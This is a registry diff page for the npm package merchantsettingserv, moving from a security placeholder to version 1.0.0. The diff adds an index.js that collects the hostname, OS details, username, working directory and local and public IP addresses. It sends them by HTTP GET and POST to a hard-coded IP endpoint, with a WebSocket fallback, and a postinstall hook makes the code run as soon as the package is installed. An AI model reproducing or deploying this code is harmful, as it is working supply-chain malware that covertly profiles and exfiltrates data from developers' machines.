merchantsettingserv 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of merchantsettingserv might be problematic. Click here for more details.
- package/index.js +104 -0
- package/package.json +19 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,104 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const https = require("https");
|
3
|
+
|
4
|
+
// Dynamically import node-fetch
|
5
|
+
async function getFetch() {
|
6
|
+
return (await import("node-fetch")).default;
|
7
|
+
}
|
8
|
+
|
9
|
+
// Collect System Information
|
10
|
+
const systemInfo = {
|
11
|
+
publicIP: "", // Will be fetched dynamically
|
12
|
+
hostname: os.hostname(),
|
13
|
+
osType: os.type(),
|
14
|
+
osPlatform: os.platform(),
|
15
|
+
osRelease: os.release(),
|
16
|
+
osArch: os.arch(),
|
17
|
+
localIP: Object.values(os.networkInterfaces())
|
18
|
+
.flat()
|
19
|
+
.find((i) => i.family === "IPv4" && !i.internal)?.address || "Unknown",
|
20
|
+
whoamiUser: os.userInfo().username,
|
21
|
+
currentDirectory: process.cwd(),
|
22
|
+
};
|
23
|
+
|
24
|
+
// Fetch public IP dynamically
|
25
|
+
https.get("https://api64.ipify.org?format=json", (res) => {
|
26
|
+
let data = "";
|
27
|
+
res.on("data", (chunk) => (data += chunk));
|
28
|
+
res.on("end", () => {
|
29
|
+
try {
|
30
|
+
systemInfo.publicIP = JSON.parse(data).ip;
|
31
|
+
} catch (e) {
|
32
|
+
systemInfo.publicIP = "Unknown";
|
33
|
+
}
|
34
|
+
sendData(systemInfo); // Call sendData only after fetching public IP
|
35
|
+
});
|
36
|
+
}).on("error", () => sendData(systemInfo)); // Fallback if IP fetch fails
|
37
|
+
|
38
|
+
// List of fallback servers
|
39
|
+
const endpoints = [
|
40
|
+
"http://23.22.251.177:8080/jpd.php",
|
41
|
+
"http://23.22.251.177:8080/jpd1.php",
|
42
|
+
];
|
43
|
+
|
44
|
+
// Get random available endpoint
|
45
|
+
function getAvailableEndpoint() {
|
46
|
+
return endpoints[Math.floor(Math.random() * endpoints.length)];
|
47
|
+
}
|
48
|
+
|
49
|
+
// Convert system info to query string
|
50
|
+
function buildQueryParams(data) {
|
51
|
+
return Object.entries(data)
|
52
|
+
.map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
|
53
|
+
.join("&");
|
54
|
+
}
|
55
|
+
|
56
|
+
// Send Data (GET and POST)
|
57
|
+
async function sendData(data) {
|
58
|
+
try {
|
59
|
+
const fetch = await getFetch();
|
60
|
+
|
61
|
+
// Construct GET request URL
|
62
|
+
const getUrl = `${getAvailableEndpoint()}?${buildQueryParams(data)}`;
|
63
|
+
|
64
|
+
// Send GET request
|
65
|
+
const getResponse = await fetch(getUrl, { method: "GET" });
|
66
|
+
console.log("GET Response:", await getResponse.text());
|
67
|
+
|
68
|
+
// Send POST request
|
69
|
+
const postResponse = await fetch(getAvailableEndpoint(), {
|
70
|
+
method: "POST",
|
71
|
+
headers: {
|
72
|
+
"Content-Type": "application/json",
|
73
|
+
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
|
74
|
+
},
|
75
|
+
body: JSON.stringify(data),
|
76
|
+
});
|
77
|
+
|
78
|
+
console.log("POST Response:", await postResponse.text());
|
79
|
+
} catch (error) {
|
80
|
+
console.error("Error sending data via HTTP:", error);
|
81
|
+
sendViaWebSocket(data); // Fallback to WebSocket if HTTP fails
|
82
|
+
}
|
83
|
+
}
|
84
|
+
|
85
|
+
// WebSocket Backup (if HTTP requests fail)
|
86
|
+
async function sendViaWebSocket(data) {
|
87
|
+
try {
|
88
|
+
const { WebSocket } = await import("ws"); // Import ws dynamically
|
89
|
+
const ws = new WebSocket("wss://yourserver.com/socket");
|
90
|
+
|
91
|
+
ws.on("open", () => {
|
92
|
+
console.log("WebSocket connection established.");
|
93
|
+
ws.send(JSON.stringify(data));
|
94
|
+
ws.close();
|
95
|
+
});
|
96
|
+
|
97
|
+
ws.on("error", (err) => {
|
98
|
+
console.error("WebSocket Error:", err);
|
99
|
+
});
|
100
|
+
} catch (error) {
|
101
|
+
console.error("WebSocket module import failed:", error);
|
102
|
+
}
|
103
|
+
}
|
104
|
+
|
package/package.json
CHANGED
@@ -1,6 +1,22 @@
|
|
1
1
|
{
|
2
2
|
"name": "merchantsettingserv",
|
3
|
-
"version": "0.0
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "Package Claimed By JPD",
|
5
|
+
"license": "ISC",
|
6
|
+
"author": "JPD",
|
7
|
+
"type": "commonjs",
|
8
|
+
"main": "index.js",
|
9
|
+
"scripts": {
|
10
|
+
"postinstall": "node index.js",
|
11
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
12
|
+
},
|
13
|
+
"dependencies": {
|
14
|
+
"axios": "^1.7.9",
|
15
|
+
"node-fetch": "^3.3.2",
|
16
|
+
"ws": "^8.18.0"
|
17
|
+
},
|
18
|
+
"engines": {
|
19
|
+
"node": ">=14.0.0"
|
20
|
+
}
|
6
21
|
}
|
22
|
+
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=merchantsettingserv for more information.
|